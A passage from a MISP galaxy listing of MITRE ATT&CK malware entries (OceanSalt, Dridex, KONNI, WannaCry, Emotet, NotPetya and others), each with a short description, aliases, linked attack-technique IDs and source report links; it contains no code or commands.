[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)
The tag is: misp-galaxy:mitre-malware="OceanSalt - S0346"
OceanSalt - S0346 is also known as:
-
OceanSalt
OceanSalt - S0346 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf |
AuditCred - S0347
[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)
The tag is: misp-galaxy:mitre-malware="AuditCred - S0347"
AuditCred - S0347 is also known as:
-
AuditCred
-
Roptimizer
AuditCred - S0347 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
Links |
SpeakUp - S0374
[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)
The tag is: misp-galaxy:mitre-malware="SpeakUp - S0374"
SpeakUp - S0374 is also known as:
-
SpeakUp
SpeakUp - S0374 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/ |
Dridex - S0384
[Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)
The tag is: misp-galaxy:mitre-malware="Dridex - S0384"
Dridex - S0384 is also known as:
-
Dridex
-
Bugat v5
Dridex - S0384 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
HiddenWasp - S0394
[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statistically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)
The tag is: misp-galaxy:mitre-malware="HiddenWasp - S0394"
HiddenWasp - S0394 is also known as:
-
HiddenWasp
HiddenWasp - S0394 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ |
KONNI - S0356
[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)
The tag is: misp-galaxy:mitre-malware="KONNI - S0356"
KONNI - S0356 is also known as:
-
KONNI
KONNI - S0356 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html |
Remexi - S0375
[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)
The tag is: misp-galaxy:mitre-malware="Remexi - S0375"
Remexi - S0375 is also known as:
-
Remexi
Remexi - S0375 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
Links |
njRAT - S0385
[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)
The tag is: misp-galaxy:mitre-malware="njRAT - S0385"
njRAT - S0385 is also known as:
-
njRAT
-
Njw0rm
-
LV
-
Bladabindi
njRAT - S0385 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
LightNeuron - S0395
[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)
The tag is: misp-galaxy:mitre-malware="LightNeuron - S0395"
LightNeuron - S0395 is also known as:
-
LightNeuron
LightNeuron - S0395 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf |
WannaCry - S0366
[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)
The tag is: misp-galaxy:mitre-malware="WannaCry - S0366"
WannaCry - S0366 is also known as:
-
WannaCry
-
WanaCry
-
WanaCrypt
-
WanaCrypt0r
-
WCry
WannaCry - S0366 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Emotet - S0367
[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)
The tag is: misp-galaxy:mitre-malware="Emotet - S0367"
Emotet - S0367 is also known as:
-
Emotet
-
Geodo
Emotet - S0367 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
HOPLIGHT - S0376
[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)
The tag is: misp-galaxy:mitre-malware="HOPLIGHT - S0376"
HOPLIGHT - S0376 is also known as:
-
HOPLIGHT
HOPLIGHT - S0376 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
Links |
NotPetya - S0368
[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)
The tag is: misp-galaxy:mitre-malware="NotPetya - S0368"
NotPetya - S0368 is also known as:
-
NotPetya
-
GoldenEye
-
Petrwrap
-
Nyetya
NotPetya - S0368 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
